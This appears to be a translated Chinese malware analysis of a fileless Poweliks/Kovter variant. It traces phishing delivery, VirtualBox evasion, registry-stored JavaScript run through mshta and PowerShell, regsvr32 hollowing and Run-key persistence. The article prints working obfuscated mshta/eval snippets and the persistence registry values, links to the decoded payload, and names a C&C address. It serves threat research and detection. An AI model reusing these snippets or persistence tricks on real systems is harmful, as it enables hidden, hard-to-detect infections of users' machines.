Poweliks:不斷進(jìn)化的免文件型惡意軟件
Poweliks(實(shí)際上應(yīng)該叫做Kovter)是一款著名的點(diǎn)擊欺詐軟件,它于2014年首次被曝光,由于它使用了一種特殊的潛伏技術(shù)而迅速蜚聲天下:它并非隱身于磁盤文件中,而是藏身于讓人意想不到的Windows注冊(cè)表內(nèi)。實(shí)際上,該軟件不僅首次面世就一鳴驚人,而且,此后它也一直處于不斷進(jìn)化之中。
本文將向讀者介紹Poweliks的一個(gè)新變種,它的特點(diǎn)是具備令人難以置信的低檢出率。
0×00 摘要
自2015年7月以來(lái),我們一直在監(jiān)視利用著名的免文件型惡意軟件Poweliks來(lái)躲避殺毒軟件的檢測(cè)的惡意軟件的活動(dòng)。這款惡意軟件可能是一個(gè)變種,它的設(shè)計(jì)目標(biāo)之一就是“不要顯山露水”;與之前的變種不同的是,它雖然沒有利用漏洞或UAC繞過技術(shù),但是隱身效果卻毫不遜色,并且極少被殺毒軟件檢測(cè)到。好消息是,事實(shí)證明行為分析針對(duì)這種威脅的效果還是非常好的,因此,殺毒軟件公司必須及時(shí)利用該技術(shù)識(shí)別此類威脅,才能為用戶提供及時(shí)的保護(hù)功能。
0×01 傳播手段
我們的客戶收到了如下所示的偽裝成美國(guó)航空公司的機(jī)票收據(jù)的電子郵件。
圖1 Poweliks電子郵件
這封電子郵件發(fā)自mrsfitness[.]com,看起來(lái)像是被攻擊者控制的一個(gè)域名。
在本例中,該郵件并沒有引起網(wǎng)關(guān)上安裝的殺毒軟件和反立即郵件系統(tǒng)的任何懷疑。在該郵件的附件中,包含有一段經(jīng)過混淆處理后的javascript代碼,該代碼的作用是觸發(fā)系統(tǒng)去下載并執(zhí)行一個(gè)惡意的可執(zhí)行文件。
圖2 還原后的JavaScript代碼
自從7月份監(jiān)視該軟件的活動(dòng)以來(lái),我們總共收到過三種不同形式的電子郵件:
機(jī)票收據(jù)
發(fā)票
法院傳票
該惡意軟件的主要攻擊對(duì)象全部位于美國(guó)。
0×02 有效載荷
這個(gè)惡意軟件下載的文件是經(jīng)過加密處理的,此外,為了給分析者制造障礙,它的程序代碼故意弄得跟一團(tuán)麻似的,同時(shí),為了成功繞過沙箱分析,它還是針對(duì)特定的Virtualbox的。
Filename: 88655116.exe Hash-SHA256: 673b384836483b3db628e3cc2eda5683a209837ea7da0a4c0749ea496e2a644a Size: 412.210
它的檢出率依然非常低,并且對(duì)于該惡意軟件的分類也是不對(duì)的。
圖3 殺毒軟件對(duì)于Poweliks的檢測(cè)情況
該惡意軟件脫殼之后,會(huì)檢測(cè)是否存在VirtualBox VM,這一行為在之前是我們所沒有發(fā)現(xiàn)的。在第二個(gè)階段,它會(huì)隨機(jī)生成兩個(gè)注冊(cè)表項(xiàng),然后通過mshta.exe生成一個(gè)powershell實(shí)例,隨后,會(huì)用這個(gè)powershell繼續(xù)生成一個(gè)注入式的regsvr32.exe實(shí)例。下面是相應(yīng)的注冊(cè)表項(xiàng):
圖4 Poweliks的注冊(cè)表項(xiàng)
在mshta.exe包含有一小段javascript代碼,如下所示:
ZKk7pWSkz=”3pVjfxK58″;Z6v7=new%20ActiveXObject(“WScript.Shell”);qojKj0pk=”McEb”;sEAn4=Z6v7.RegRead(“HKCU\\software\\ZiqReaBa\\Xp20Zk”);mAN16NzLz=”nmOa4g1u”;eval(sEAn4);UtbW0ZYxq=”R5V5xTB”;
很明顯,這段代碼是經(jīng)過了混淆處理的,還原后的代碼如下所示:
圖5 還原后的javascript代碼
上述代碼的作用是,讀取剛才創(chuàng)建的注冊(cè)表項(xiàng),并執(zhí)行其內(nèi)容,這里的內(nèi)容實(shí)際上還是一段混淆后的javascript代碼,如果將其還原的話,大致如下所示:
圖6 注冊(cè)表項(xiàng)中的javascript代碼
這段代碼的作用是,對(duì)二進(jìn)制串進(jìn)行譯碼,并執(zhí)行之。由于這個(gè)二進(jìn)制串太長(zhǎng)了,所以這里已經(jīng)將其刪除掉了,如果讀者需要進(jìn)行分析的話,可以從http://pastebin.com/mrw4Csja找到。#p#
在解密之后,它看起來(lái)像是一個(gè)powershell腳本,作用是根據(jù)嵌入到該腳本內(nèi)部的shellcode來(lái)創(chuàng)建一個(gè)線程。
圖7 Poweliks中的powershell腳本
這個(gè)腳本將會(huì)插入到一個(gè)環(huán)境變量中,之后該變量將直接被傳遞給powershell:
“C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe” iex $env:vsxf
我們已經(jīng)完整還原出了這個(gè)腳本,如果大家需要分析的話可以從http://pastebin.com/dnkQC1UE下載。那么,這個(gè)shellcode又是意欲何為呢? 為了弄清楚這一點(diǎn),我們必須先將其反匯編,并進(jìn)行相應(yīng)的調(diào)試才行。這段shellcode的作用是解析一些API(VirtualAlloc()、 ExitProcess()、RegOpenKey()、RegQueryValue()、GetProcAddress()、LoadLibrary()),而這些API的作用則是讀取前面提到的注冊(cè)表項(xiàng)的內(nèi)容,對(duì)其內(nèi)容進(jìn)行譯碼,并執(zhí)行之。這里的解密例程非常簡(jiǎn)單,并且會(huì)用置換表來(lái)存放1到0×100這些遞增的數(shù)字,這些值是用來(lái)對(duì)加密字節(jié)進(jìn)行異或運(yùn)算的:
圖8 Poweliks的解密例程
這些代碼在解密之后就會(huì)被運(yùn)行。它會(huì)執(zhí)行regsvr32.exe,然后將其“掏空”,下面是我們的分析引擎的輸出結(jié)果:
圖9 Poweliks的替身regsvr32.exe
下面我們來(lái)看看偷梁換柱的具體過程:
圖10 Poweliks的生成樹
要是沒有后備機(jī)制的話,就不會(huì)有Poweliks了,因?yàn)橛行〇|西會(huì)出錯(cuò),如果進(jìn)程由于某種原因出錯(cuò)的話,那么主進(jìn)程就會(huì)試圖直接生成一個(gè)regsvr32.exe實(shí)例,以便為注入做最后的一次嘗試。
圖11 Poweliks的后備注入
Powershell終止后,會(huì)給我們留下一個(gè)運(yùn)行狀態(tài)下的regsvr32.exe實(shí)例,它的任務(wù)是利用自身生成第二個(gè)實(shí)例,并完成注入操作等,實(shí)際上它要做的事情還不少:首先,將整個(gè)惡意軟件隱藏到HKCU/Software/Microsoft/Windows/CurrentVersion/Run處的持久性的注冊(cè)表項(xiàng)中,不過,這里需要用到一個(gè)解析技巧,以便使得regedit.exe無(wú)法直接讀取這個(gè)持久性的注冊(cè)表項(xiàng):
圖12 Poweliks的持久性注冊(cè)表項(xiàng)
下面是用到的一個(gè)注冊(cè)表項(xiàng),注意其名稱中的前導(dǎo)反斜扛:
“a1f309e8″=”mshta javascript:judNSd2v=”4S”;T80G=new%20ActiveXObject(“WScript.Shell”);OlXOQ8j4=”jWqM4PKDvF”;pd6D2R=T80G.RegRead(“HKCU\\software\\ZiqReaBa\\Xp20Zk”);qeV4j2Wz=”Y7wjctoseg”;eval(pd6D2R);WFNQgoB1b=”idEjYnCb”;”
“9460666d”=”mshta javascript:Zfvtt1o3=”uue”;m3S=new%20ActiveXObject(“WScript.Shell”);tMAUk0Ua=”Zc8″;Qs4Xs3=m3S.RegRead(“HKCU\\software\\ZiqReaBa\\Xp20Zk”);q9FywZTi=”X”;eval(Qs4Xs3);XFCt5IgZO=”IGrWu”;”
即使沒有經(jīng)過還原處理,我們依然可以看出它們依舊是要利用注冊(cè)表項(xiàng)中的javascript代碼從事感染活動(dòng)。嚴(yán)格來(lái)講,Poweliks并不是一個(gè)純粹的免文件型惡意軟件,但是它離這個(gè)概念已經(jīng)非常接近了。達(dá)到持久性的潛伏目的之后,它還會(huì)再新建一些注冊(cè)表項(xiàng),尤其是會(huì)用它們來(lái)隱藏一個(gè)用戶代理及其相應(yīng)的命令請(qǐng)求:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
這個(gè)用戶代理是從下面的列表中選出來(lái)的:
Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
這樣以來(lái),就可以進(jìn)行瀏覽器注入攻擊了,那些倒霉的用戶會(huì)看到一些新的廣告和虛假的警告,由于Poweliks具有下載功能,所以一旦系統(tǒng)感染了它,理論上就可能進(jìn)一步下載其他類型的惡意軟件。根據(jù)我們的監(jiān)控,目前發(fā)現(xiàn)它會(huì)訪問一個(gè)C&C服務(wù)器,地址為 H**p://185.102.139.93/form2.php。盡管在二進(jìn)制代碼中嵌入了許多IP,但我們沒有展開進(jìn)一步的實(shí)際調(diào)查,不過它們很可能是一些流氓AD服務(wù)器。
0×03 總結(jié)
當(dāng)前,Poweliks的功能依舊保持強(qiáng)大,其制作的工程化水平也是可圈可點(diǎn)的。由于該惡意軟件幾乎不藏身于文件之中,因此,它能夠愚弄大多數(shù)的安全解決方案。在Poweliks之前的版本中,它曾經(jīng)使用過一些安全漏洞和不同的UAC繞過技術(shù),不過就近期的監(jiān)控來(lái)看,當(dāng)前的版本好像沒有再沿用這些手段,不過,盡管它沒有對(duì)大部分代碼進(jìn)行重構(gòu),但是其檢出率依然保持很低。事實(shí)再次證明,相對(duì)于基于標(biāo)準(zhǔn)特征的殺毒解決方案來(lái)說(shuō),基于人工智能的行為分析技術(shù)在檢測(cè)和防護(hù)新型或進(jìn)化中的安全威脅方面要更加有效。